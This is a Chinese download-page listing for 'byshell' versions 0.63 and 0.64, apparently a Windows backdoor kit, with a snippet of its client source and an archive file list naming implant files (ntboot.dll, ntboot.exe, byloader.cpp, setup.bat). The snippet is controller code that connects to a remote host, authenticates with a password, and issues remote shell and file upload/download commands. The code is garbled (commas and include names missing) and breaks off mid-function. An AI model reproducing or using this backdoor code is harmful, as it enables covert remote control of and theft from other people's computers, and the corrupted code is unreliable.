资源简介
包括byshell 063和064两个版本
代码片段和文件信息
//byshell v0.63 cli
#include
#include
#pragma comment(lib “ws2_32.lib“)
#include
#include
#include
char pwd[16]=“by“;char buff[66000]={0};char ip[31]={0};HANDLE filefp;unsigned int packnum=0;
char work(char * workbuffunsigned int workbufflenchar workflagint * psendlength);
void helpview(void);
void main(void){int ret;char workflag=0;
//printf(“\tbyshell client ver 0.63\ntype HELP to view the detailed manual.\n“);
printf(“please input the server ip address\n“);
gets(ip);printf(“%s will be connected\n“ip);
WSADATA WSAData;WSAStartup(MAKEWORD(22)&WSAData);
SOCKET sock=socket(AF_INETSOCK_STREAM0);
sockaddr_in cliaddr;memset(&cliaddr0sizeof(struct sockaddr_in));
cliaddr.sin_family= AF_INET;
cliaddr.sin_port =0;
cliaddr.sin_addr.S_un.S_addr = INADDR_ANY;
sockaddr_in srvaddr;memset(&srvaddr0sizeof(struct sockaddr_in));
srvaddr.sin_family= AF_INET;
srvaddr.sin_port = htons(138);
srvaddr.sin_addr.S_un.S_addr = inet_addr(ip);
bind(sock(struct sockaddr *)&cliaddrsizeof(struct sockaddr));
ret=connect(sock(struct sockaddr *)&srvaddrsizeof(struct sockaddr));
if(ret==-1){printf(“connect failedcheck your network and remote ip.“);exit(0);}
printf(“input the password(the default one is \‘by\‘)\n“);
gets(pwd);int sendlength=65536;int recvlen=0;
//gets not include the \rbut scanf will
while(1){strncpy(buffpwd16);//copy pass before workfor chpass
workflag=work(buff+32recvlen-32workflag&sendlength);sendlength+=32;
memcpy(buff+28&sendlength4);
if(sendlength!=send(sockbuffsendlength0)){printf(“fatal error in transmission\n“);exit(0);}
memset(buff065536); recvlen=recv(sockbuff655360);int duelen;memcpy(&duelenbuff+284);
while(duelen>recvlen){recvlen+=recv(sockbuff+recvlen65536-recvlen0);}//solve data division
}
}
//__finally{closesocket(sock);}
//now these are work codes.
char work(char * workbuffunsigned int workbufflenchar workflagint * psendlength){
if(workflag==0){printf(“%s“workbuff);
lab1: memset(workbuff065536);printf(“#“);gets(workbuff);*psendlength=strlen(workbuff);
if(!strncmp(workbuff“HELP“4) || !strncmp(workbuff“help“4)){helpview();goto lab1;}
if(!strncmp(workbuff“shell“5)){return 1;}
if(!strncmp(workbuff“chpass“6)){strncpy(pwdworkbuff+616);return 0;}
//get\tDES\tSRC
if(!strncmp(workbuff“get“3)){packnum=0;char desfile[255]={0};char srcfile[255]={0};
sscanf(workbuff“get\t%s\t%s“desfilesrcfile);
filefp=CreateFile(desfileGENERIC_WRITE00CREATE_ALWAYSFILE_ATTRIBUTE_NORMAL0);
memset(workbuff+30514);strcat(workbuffsrcfile);*psendlength=strlen(workbuff);
return 2;}
//put\tDES\tSRC
if(!strncmp(workbuff“put“3)){packnum=0;char desfile[255]={0};char srcfile[255]={0};
sscanf(workbuff“put\t%s\t%s“desfilesrcfile);
filefp=CreateFile(srcfileGENERIC_READ00OPEN_EXISTINGFILE_ATTRIBUTE_NORMAL0);
if(filefp==INVALID_HANDLE_VALUE){printf(“no such local file.\n“);goto lab1;}
m
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2004-12-25 13:21 byshell064
文件 13131 2004-12-25 13:20 byshell064\064cli.cpp
文件 49152 2004-12-23 23:17 byshell064\by064cli.exe
文件 15251 2004-12-25 13:20 byshell064\byloader.cpp
文件 3283 2004-12-25 13:45 byshell064\byreadme064.txt
文件 45519 2004-12-25 13:21 byshell064\ntboot.cpp
文件 69632 2004-12-23 22:23 byshell064\ntboot.dll
文件 32768 2004-12-23 10:41 byshell064\ntboot.exe
文件 15 2004-12-23 23:08 byshell064\setup.bat
文件 10071 2004-12-23 23:01 byshell063\063cli.cpp
文件 49152 2004-12-23 23:01 byshell063\by063cli.exe
文件 16332 2008-05-11 19:14 byshell063\byloader.cpp
文件 3099 2004-12-25 13:28 byshell063\byreadme063.txt
文件 43515 2004-12-25 13:22 byshell063\ntboot.cpp
文件 69632 2004-12-23 14:44 byshell063\ntboot.dll
文件 32768 2004-12-23 10:41 byshell063\ntboot.exe
文件 15 2004-12-23 23:08 byshell063\setup.bat
目录 0 2008-05-11 18:24 byshell063
----------- --------- ---------- ----- ----
453335 18
相关资源
- NDK-R12B windows-x86_64百度云盘
- windows3.2简体中文版,虚拟机文件
- Windows 3.0 安装软盘(3.5 720k)
- WINDOWS内核安全编程 寒江独钓 光盘源
- 寒江独钓-Windows内核安全编程(完整版
- 实现Windows与Linux两系统间自由切换
- 如何删除Linux系统后找回Windows的启动
- 飞康NSS、CDP力保Windows Server 2008数据迁
- 意天Windows助手(进程强杀/进程守护
- git for windows 汉化包 工具
- DO-WHILE循环语句的翻译程序设计简单优
- 含激活码AOMEI Dynamic Disk Manager 12 wind
- windows7 x86符号表part05)
- windows 64位系统下安装Code Warrior6.3方法
- EPSON打印机程序设计指南(ESC/POS指令
- LibXL for Windows 3.8.3 最新版Excel操作库带
- redis for Windows
- Intel® Parallel Studio XE 2016 Update 1 专业
- Intel Parallel Studio XE Cluster Edition for W
- Labwindows/CVI下Excel打开、读写操作
- 如何实现Linux与windows文件互传
- Wox最新版本-windows
- labview获取子窗口句柄FindwindowsEX(AP
-
Windows em
bedded Standard 7 X86X64纯净版 - Windows Server 2012 R2 上部署与安装AD域
- TD-SCDMA网络测试仪中E1数据采集卡的驱
- IBM Tivoli Storage Manager FastBack为Windows提
- windows磁盘io测试工具
- 流式细胞周期软件MultiCycle for Windows
- 安装Windows 2000后需安装的设备驱动程
评论
共有 条评论